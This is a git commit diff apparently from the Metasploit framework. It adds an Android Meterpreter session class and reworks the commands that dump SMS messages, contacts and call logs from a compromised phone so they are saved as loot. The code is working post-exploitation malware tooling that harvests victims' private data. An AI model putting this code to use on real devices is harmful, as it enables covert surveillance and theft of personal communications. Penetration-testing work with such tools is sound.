fixing auto load on new session
parent
9f0bf67521
commit
283046b25d
|
@ -0,0 +1,36 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Sessions
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class creates a platform-specific meterpreter session type
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
|
||||||
|
|
||||||
|
def supports_ssl?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
def supports_zlib?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
def initialize(rstream, opts={})
|
||||||
|
super
|
||||||
|
self.platform = 'java/android'
|
||||||
|
end
|
||||||
|
def load_android
|
||||||
|
original = console.disable_output
|
||||||
|
console.disable_output = true
|
||||||
|
console.run_single('load android')
|
||||||
|
console.disable_output = original
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -11,6 +11,7 @@ module Sessions
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
|
class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
|
||||||
|
|
||||||
def supports_ssl?
|
def supports_ssl?
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
@ -22,11 +23,6 @@ class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
|
||||||
self.platform = 'java/java'
|
self.platform = 'java/java'
|
||||||
self.binary_suffix = 'jar'
|
self.binary_suffix = 'jar'
|
||||||
end
|
end
|
||||||
def load_android
|
|
||||||
self.platform = 'java/android'
|
|
||||||
console.disable_output = true
|
|
||||||
console.run_single('load android')
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core'
|
||||||
require 'rex/post/meterpreter'
|
require 'rex/post/meterpreter'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
@ -12,8 +13,8 @@ module Ui
|
||||||
###
|
###
|
||||||
|
|
||||||
class Console::CommandDispatcher::Android
|
class Console::CommandDispatcher::Android
|
||||||
|
|
||||||
include Console::CommandDispatcher
|
include Console::CommandDispatcher
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
def initialize(shell)
|
def initialize(shell)
|
||||||
super
|
super
|
||||||
|
@ -22,7 +23,7 @@ class Console::CommandDispatcher::Android
|
||||||
#
|
#
|
||||||
# List of supported commands.
|
# List of supported commands.
|
||||||
#
|
#
|
||||||
def commands
|
def commands
|
||||||
all = {
|
all = {
|
||||||
'dump_sms' => 'Get sms messages',
|
'dump_sms' => 'Get sms messages',
|
||||||
'dump_contacts' => 'Get contacts list',
|
'dump_contacts' => 'Get contacts list',
|
||||||
|
@ -59,7 +60,7 @@ class Console::CommandDispatcher::Android
|
||||||
device_shutdown_opts.parse(args) { | opt, idx, val |
|
device_shutdown_opts.parse(args) { | opt, idx, val |
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: device_shutdown [options]\n')
|
print_line('Usage: device_shutdown [options]')
|
||||||
print_line('Shutdown device.')
|
print_line('Shutdown device.')
|
||||||
print_line(device_shutdown_opts.usage)
|
print_line(device_shutdown_opts.usage)
|
||||||
return
|
return
|
||||||
|
@ -88,7 +89,7 @@ class Console::CommandDispatcher::Android
|
||||||
dump_sms_opts.parse(args) { | opt, idx, val |
|
dump_sms_opts.parse(args) { | opt, idx, val |
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: dump_sms [options]\n')
|
print_line('Usage: dump_sms [options]')
|
||||||
print_line('Get sms messages.')
|
print_line('Get sms messages.')
|
||||||
print_line(dump_sms_opts.usage)
|
print_line(dump_sms_opts.usage)
|
||||||
return
|
return
|
||||||
|
@ -105,58 +106,55 @@ class Console::CommandDispatcher::Android
|
||||||
begin
|
begin
|
||||||
info = client.sys.config.sysinfo
|
info = client.sys.config.sysinfo
|
||||||
|
|
||||||
::File.open(path, 'wb') do |fd|
|
data = String::new
|
||||||
|
data << "\n=====================\n"
|
||||||
|
data << "[+] Sms messages dump\n"
|
||||||
|
data << "=====================\n\n"
|
||||||
|
|
||||||
fd.write("\n=====================\n")
|
time = Time.new
|
||||||
fd.write("[+] Sms messages dump\n")
|
data << "Date: #{time.inspect}\n"
|
||||||
fd.write("=====================\n\n")
|
data << "OS: #{info['OS']}\n"
|
||||||
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||||
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||||
|
|
||||||
time = Time.new
|
smsList.each_with_index { |a, index|
|
||||||
fd.write("Date: #{time.inspect}\n")
|
|
||||||
fd.write("OS: #{info['OS']}\n")
|
|
||||||
fd.write("Remote IP: #{client.sock.peerhost}\n")
|
|
||||||
fd.write("Remote Port: #{client.sock.peerport}\n\n")
|
|
||||||
|
|
||||||
smsList.each_with_index { |a, index|
|
data << "##{(index.to_i + 1).to_s()}\n"
|
||||||
|
|
||||||
fd.write("##{(index.to_i + 1).to_s()}\n")
|
type = 'Unknown'
|
||||||
|
if a['type'] == '1'
|
||||||
|
type = 'Incoming'
|
||||||
|
elsif a['type'] == '2'
|
||||||
|
type = 'Outgoing'
|
||||||
|
end
|
||||||
|
|
||||||
type = 'Unknown'
|
status = 'Unknown'
|
||||||
if a['type'] == '1'
|
if a['status'] == '-1'
|
||||||
type = 'Incoming'
|
status = 'NOT_RECEIVED'
|
||||||
elsif a['type'] == '2'
|
elsif a['status'] == '1'
|
||||||
type = 'Outgoing'
|
status = 'SME_UNABLE_TO_CONFIRM'
|
||||||
end
|
elsif a['status'] == '0'
|
||||||
|
status = 'SUCCESS'
|
||||||
|
elsif a['status'] == '64'
|
||||||
|
status = 'MASK_PERMANENT_ERROR'
|
||||||
|
elsif a['status'] == '32'
|
||||||
|
status = 'MASK_TEMPORARY_ERROR'
|
||||||
|
elsif a['status'] == '2'
|
||||||
|
status = 'SMS_REPLACED_BY_SC'
|
||||||
|
end
|
||||||
|
|
||||||
status = 'Unknown'
|
data << "Type\t: #{type}\n"
|
||||||
if a['status'] == '-1'
|
|
||||||
status = 'NOT_RECEIVED'
|
|
||||||
elsif a['status'] == '1'
|
|
||||||
status = 'SME_UNABLE_TO_CONFIRM'
|
|
||||||
elsif a['status'] == '0'
|
|
||||||
status = 'SUCCESS'
|
|
||||||
elsif a['status'] == '64'
|
|
||||||
status = 'MASK_PERMANENT_ERROR'
|
|
||||||
elsif a['status'] == '32'
|
|
||||||
status = 'MASK_TEMPORARY_ERROR'
|
|
||||||
elsif a['status'] == '2'
|
|
||||||
status = 'SMS_REPLACED_BY_SC'
|
|
||||||
end
|
|
||||||
|
|
||||||
fd.write("Type\t: #{type}\n")
|
time = a['date'].to_i / 1000
|
||||||
|
time = Time.at(time)
|
||||||
|
|
||||||
time = a['date'].to_i / 1000
|
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
|
||||||
time = Time.at(time)
|
data << "Address\t: #{a['address']}\n"
|
||||||
|
data << "Status\t: #{status}\n"
|
||||||
fd.write("Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
data << "Message\t: #{a['body']}\n\n"
|
||||||
fd.write("Address\t: #{a['address']}\n")
|
}
|
||||||
fd.write("Status\t: #{status}\n")
|
|
||||||
fd.write("Message\t: #{a['body']}\n\n")
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
path = ::File.expand_path(path)
|
|
||||||
|
|
||||||
|
path = store_loot("android.sms", "text/plain", client.sock.peerhost, data, "sms.txt", "Android SMS Dump")
|
||||||
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
||||||
Rex::Compat.open_file(path)
|
Rex::Compat.open_file(path)
|
||||||
|
|
||||||
|
@ -185,7 +183,7 @@ class Console::CommandDispatcher::Android
|
||||||
dump_contacts_opts.parse(args) { | opt, idx, val |
|
dump_contacts_opts.parse(args) { | opt, idx, val |
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: dump_contacts [options]\n')
|
print_line('Usage: dump_contacts [options]')
|
||||||
print_line('Get contacts list.')
|
print_line('Get contacts list.')
|
||||||
print_line(dump_contacts_opts.usage)
|
print_line(dump_contacts_opts.usage)
|
||||||
return
|
return
|
||||||
|
@ -202,40 +200,38 @@ class Console::CommandDispatcher::Android
|
||||||
begin
|
begin
|
||||||
info = client.sys.config.sysinfo
|
info = client.sys.config.sysinfo
|
||||||
|
|
||||||
::File.open(path, 'wb') do |fd|
|
data = String::new
|
||||||
|
data << "\n======================\n"
|
||||||
|
data << "[+] Contacts list dump\n"
|
||||||
|
data << "======================\n\n"
|
||||||
|
|
||||||
fd.write("\n======================\n")
|
time = Time.new
|
||||||
fd.write("[+] Contacts list dump\n")
|
data << "Date: #{time.inspect}\n"
|
||||||
fd.write("======================\n\n")
|
data << "OS: #{info['OS']}\n"
|
||||||
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||||
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||||
|
|
||||||
time = Time.new
|
contactList.each_with_index { |c, index|
|
||||||
fd.write("Date: #{time.inspect}\n")
|
|
||||||
fd.write("OS: #{info['OS']}\n")
|
|
||||||
fd.write("Remote IP: #{client.sock.peerhost}\n")
|
|
||||||
fd.write("Remote Port: #{client.sock.peerport}\n\n")
|
|
||||||
|
|
||||||
contactList.each_with_index { |c, index|
|
data << "##{(index.to_i + 1).to_s()}\n"
|
||||||
|
data << "Name\t: #{c['name']}\n"
|
||||||
|
|
||||||
fd.write("##{(index.to_i + 1).to_s()}\n")
|
if c['number'].count > 0
|
||||||
fd.write("Name\t: #{c['name']}\n")
|
(c['number']).each { |n|
|
||||||
|
data << "Number\t: #{n}\n"
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
if c['number'].count > 0
|
if c['email'].count > 0
|
||||||
(c['number']).each { |n|
|
(c['email']).each { |n|
|
||||||
fd.write("Number\t: #{n}\n")
|
data << "Email\t: #{n}\n"
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
if c['email'].count > 0
|
data << "\n"
|
||||||
(c['email']).each { |n|
|
}
|
||||||
fd.write("Email\t: #{n}\n")
|
|
||||||
}
|
path = store_loot("android.contacts", "text/plain", client.sock.peerhost, data, "contacts.txt", "Android Contacts Dump")
|
||||||
end
|
|
||||||
|
|
||||||
fd.write("\n")
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
path = ::File.expand_path(path)
|
|
||||||
print_status("Contacts list saved to: #{path}")
|
print_status("Contacts list saved to: #{path}")
|
||||||
Rex::Compat.open_file(path)
|
Rex::Compat.open_file(path)
|
||||||
|
|
||||||
|
@ -263,7 +259,7 @@ class Console::CommandDispatcher::Android
|
||||||
geolocate_opts.parse(args) { | opt, idx, val |
|
geolocate_opts.parse(args) { | opt, idx, val |
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: geolocate [options]\n')
|
print_line('Usage: geolocate [options]')
|
||||||
print_line('Get current location using geolocation.')
|
print_line('Get current location using geolocation.')
|
||||||
print_line(geolocate_opts.usage)
|
print_line(geolocate_opts.usage)
|
||||||
return
|
return
|
||||||
|
@ -274,7 +270,7 @@ class Console::CommandDispatcher::Android
|
||||||
|
|
||||||
geo = client.android.geolocate
|
geo = client.android.geolocate
|
||||||
|
|
||||||
print_status('Current Location:\n')
|
print_status('Current Location:')
|
||||||
print_line("\tLatitude : #{geo[0]['lat']}")
|
print_line("\tLatitude : #{geo[0]['lat']}")
|
||||||
print_line("\tLongitude : #{geo[0]['long']}\n")
|
print_line("\tLongitude : #{geo[0]['long']}\n")
|
||||||
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat']},#{geo[0]['long']}&sensor=true\n")
|
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat']},#{geo[0]['long']}&sensor=true\n")
|
||||||
|
@ -302,7 +298,7 @@ class Console::CommandDispatcher::Android
|
||||||
dump_calllog_opts.parse(args) { | opt, idx, val |
|
dump_calllog_opts.parse(args) { | opt, idx, val |
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: dump_calllog [options]\n')
|
print_line('Usage: dump_calllog [options]')
|
||||||
print_line('Get call log.')
|
print_line('Get call log.')
|
||||||
print_line(dump_calllog_opts.usage)
|
print_line(dump_calllog_opts.usage)
|
||||||
return
|
return
|
||||||
|
@ -318,32 +314,30 @@ class Console::CommandDispatcher::Android
|
||||||
begin
|
begin
|
||||||
info = client.sys.config.sysinfo
|
info = client.sys.config.sysinfo
|
||||||
|
|
||||||
::File.open(path, 'wb') do |fd|
|
data = String::new
|
||||||
|
data << "\n=================\n"
|
||||||
|
data << "[+] Call log dump\n"
|
||||||
|
data << "=================\n\n"
|
||||||
|
|
||||||
fd.write("\n=================\n")
|
time = Time.new
|
||||||
fd.write("[+] Call log dump\n")
|
data << "Date: #{time.inspect}\n"
|
||||||
fd.write("=================\n\n")
|
data << "OS: #{info['OS']}\n"
|
||||||
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||||
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||||
|
|
||||||
time = Time.new
|
log.each_with_index { |a, index|
|
||||||
fd.write("Date: #{time.inspect}\n")
|
|
||||||
fd.write("OS: #{info['OS']}\n")
|
|
||||||
fd.write("Remote IP: #{client.sock.peerhost}\n")
|
|
||||||
fd.write("Remote Port: #{client.sock.peerport}\n\n")
|
|
||||||
|
|
||||||
log.each_with_index { |a, index|
|
data << "##{(index.to_i + 1).to_s()}\n"
|
||||||
|
|
||||||
fd.write("##{(index.to_i + 1).to_s()}\n")
|
data << "Number\t: #{a['number']}\n"
|
||||||
|
data << "Name\t: #{a['name']}\n"
|
||||||
|
data << "Date\t: #{a['date']}\n"
|
||||||
|
data << "Type\t: #{a['type']}\n"
|
||||||
|
data << "Duration: #{a['duration']}\n\n"
|
||||||
|
}
|
||||||
|
|
||||||
fd.write("Number\t: #{a['number']}\n")
|
path = store_loot("android.calllog", "text/plain", client.sock.peerhost, data, "call-log.txt", "Android Call Log Dump")
|
||||||
fd.write("Name\t: #{a['name']}\n")
|
print_status("Call log saved to #{path}")
|
||||||
fd.write("Date\t: #{a['date']}\n")
|
|
||||||
fd.write("Type\t: #{a['type']}\n")
|
|
||||||
fd.write("Duration: #{a['duration']}\n\n")
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
path = ::File.expand_path(path)
|
|
||||||
print_status("Call log saved to: #{path}")
|
|
||||||
Rex::Compat.open_file(path)
|
Rex::Compat.open_file(path)
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
@ -367,7 +361,7 @@ class Console::CommandDispatcher::Android
|
||||||
check_root_opts.parse(args) { | opt, idx, val |
|
check_root_opts.parse(args) { | opt, idx, val |
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: check_root [options]\n')
|
print_line('Usage: check_root [options]')
|
||||||
print_line('Check if device is rooted.')
|
print_line('Check if device is rooted.')
|
||||||
print_line(check_root_opts.usage)
|
print_line(check_root_opts.usage)
|
||||||
return
|
return
|
||||||
|
|
|
@ -5,17 +5,13 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/dalvik'
|
require 'msf/core/payload/dalvik'
|
||||||
require 'msf/core/handler/reverse_tcp'
|
require 'msf/base/sessions/meterpreter_android'
|
||||||
require 'msf/base/sessions/meterpreter_java'
|
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
include Msf::Sessions::MeterpreterOptions
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
# The stager should have already included this
|
|
||||||
#include Msf::Payload::Java
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Android Meterpreter',
|
'Name' => 'Android Meterpreter',
|
||||||
|
@ -28,7 +24,7 @@ module Metasploit3
|
||||||
'Platform' => 'android',
|
'Platform' => 'android',
|
||||||
'Arch' => ARCH_DALVIK,
|
'Arch' => ARCH_DALVIK,
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Session' => Msf::Sessions::Meterpreter_Java_Java))
|
'Session' => Msf::Sessions::Meterpreter_Java_Android))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
|
@ -56,7 +52,6 @@ module Metasploit3
|
||||||
def on_session(session)
|
def on_session(session)
|
||||||
super
|
super
|
||||||
framework.sessions.schedule Proc.new {
|
framework.sessions.schedule Proc.new {
|
||||||
session.init_ui(self.user_input, self.user_output)
|
|
||||||
if (datastore['AutoLoadAndroid'])
|
if (datastore['AutoLoadAndroid'])
|
||||||
session.load_android
|
session.load_android
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue